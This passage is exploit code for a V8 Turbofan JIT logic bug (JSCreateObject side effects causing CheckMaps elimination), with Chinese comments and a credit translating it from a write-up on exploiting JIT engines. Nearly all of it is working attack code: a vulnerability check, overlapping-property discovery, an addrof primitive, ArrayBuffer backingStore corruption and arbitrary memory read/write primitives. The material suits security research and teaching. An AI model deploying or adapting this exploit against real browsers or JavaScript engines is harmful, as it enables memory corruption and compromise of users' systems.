// Turbofan假设jcreateobject操作没有副作用(它有kNoWrite属性)。然而,如果原型对象(在本例中是o)不是常量,那么jcreateobject将降低为CreateObjectWithoutProperties的运行时调用。这最终会调用JSObject::OptimizeAsPrototype,它将修改原型对象并给它分配一个新的映射。特别是,它将转换OOL属性存储到字典模式.
Object.create(o);

// 此属性访问的CheckMaps节点将被错误地删除。JIT代码现在正在访问NameDictionary,但相信它是从FixedArray加载的.
return o.outOfLine;
}

for (let i = 0; i < MAX_ITERATIONS; i++) {
let o = {inline: 0x1337};
o.outOfLine = 0x1338;
let r = hax(o);
if (r !== 0x1338) {
return;
}
}

throw "Not vulnerable"
};

// 创建一个具有一个内联属性和多个外联属性的对象.
function makeObj(propertyValues) {
let o = {inline: 0x1337};
for (let i = 0; i < NUM_PROPERTIES; i++) {
Object.defineProperty(o, 'p' + i, {
writable: true,
value: propertyValues[i]
});
}
return o;
}

// 3个exploit原语.

// 查找一对属性(p1, p2),使p1在FixedArray中的存储位置与NameDictionary中的p2相同.
let p1, p2;
function findOverlappingProperties() {
let propertyNames = [];
for (let i = 0; i < NUM_PROPERTIES; i++) {
propertyNames[i] = 'p' + i;
}
eval(`
function hax(o) {
o.inline;
this.Object.create(o);
${propertyNames.map((p) => `let ${p} = o.${p};`).join('\n')}
return [${propertyNames.join(', ')}];
}
`);

let propertyValues = [];
for (let i = 1; i < NUM_PROPERTIES; i++) {
// 字典中有一些不相关的、小值的smi。然而,它们都是积极的,所以使用消极的SMIs。不要使用-0,它会被表示为一个double...
propertyValues[i] = -i;
}

for (let i = 0; i < MAX_ITERATIONS; i++) {
let r = hax(makeObj(propertyValues));
for (let i = 1; i < r.length; i++) {
// 不能使用与自身重叠的属性.
if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
[p1, p2] = [i, -r[i]];
return;
}
}
}

throw "Failed to find overlapping properties";
}

// 以BigInt类型返回给定对象的地址.
function addrof(obj) {
// 将对象与未装箱的double属性和带有指针属性的对象混淆.
eval(`
function hax(o) {
o.inline;
this.Object.create(o);
return o.p${p1}.x1;
}
`);

let propertyValues = [];
// 为简单起见,属性p1应该与corrupt中使用的映射相同.
propertyValues[p1] = {x1: 13.37, x2: 13.38};
propertyValues[p2] = {y1: obj};

for (let i = 0; i < MAX_ITERATIONS; i++) {
let res = hax(makeObj(propertyValues));
if (res !== 13.37) {
// 调整由于指针标记而设置的LSB.
return res.toBigInt() - 1n;
}
}

throw "Addrof failed";
}

// 损坏ArrayBuffer对象的backingStore指针并返回原始地址,以便稍后修复ArrayBuffer.
function corrupt(victim, newValue) {
eval(`
function hax(o) {
o.inline;
this.Object.create(o);
let orig = o.p${p1}.x2;
o.p${p1}.x2 = ${newValue.toNumber()};
return orig;
}
`);

let propertyValues = [];
// x2与ArrayBuffer的backingStore指针重叠.
let o = {x1: 13.37, x2: 13.38};
propertyValues[p1] = o;
propertyValues[p2] = victim;

for (let i = 0; i < MAX_ITERATIONS; i++) {
o.x2 = 13.38;
let r = hax(makeObj(propertyValues));
if (r !== 13.38) {
return r.toBigInt();
}
}

throw "CorruptArrayBuffer failed";
}

function pwn() {
//
// 步骤0:检查引擎是否存在漏洞.
//
checkVuln();
print("[+] v8 version is vulnerable");

//
// 步骤1。确定一对重叠的属性.
//
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap`);

//
// 步骤2。泄漏ArrayBuffer的地址.
//
let memViewBuf = new ArrayBuffer(1024);
let driverBuf = new ArrayBuffer(1024);

// 在泄漏它的地址之前将ArrayBuffer移动到旧空间.
gc();

let memViewBufAddr = addrof(memViewBuf);
print(`[+] ArrayBuffer @ 0x${memViewBufAddr.toString(16)}`);

//
// 步骤3。破坏另一个ArrayBuffer的backingStore指针指向第一个ArrayBuffer.
//
let origDriverBackingStorage = corrupt(driverBuf, memViewBufAddr);

let driver = new BigUint64Array(driverBuf);
let origMemViewBackingStorage = driver[4];

//
// 步骤4。构造内存读/写原语.
//
let memory = {
write(addr, bytes) {
driver[4] = addr;
let memview = new Uint8Array(memViewBuf);
memview.set(bytes);
},
read(addr, len) {
driver[4] = addr;
let memview = new Uint8Array(memViewBuf);
return memview.subarray(0, len);
},
read64(addr) {
driver[4] = addr;
let memview = new BigUint64Array(memViewBuf);
return memview[0];
},
write64(addr, ptr) {
driver[4] = addr;
let memview = new BigUint64Array(memViewBuf);
memview[0] = ptr;
},
addrof(obj) {
memViewBuf.leakMe = obj;
let props = this.read64(memViewBufAddr + 8n);
return this.read64(props + 15n) - 1n;
},
fixup() {
let driverBufAddr = this.addrof(driverBuf);
this.write64(driverBufAddr + 32n, origDriverBackingStorage);
this.write64(memViewBufAddr + 32n, origMemViewBackingStorage);
},
};

print("[+] Constructed memory read/write primitive");

// 现在读写任意地址 :)
memory.write64(0x41414141n, 0x42424242n);

// 所有操作完成后,修复损坏的对象.
memory.fixup();

// 验证一切是否稳定.
gc();
}

if (typeof(window) === 'undefined')
pwn();

译自

  • Exploiting Logic Bugs in JavaScript JIT Engines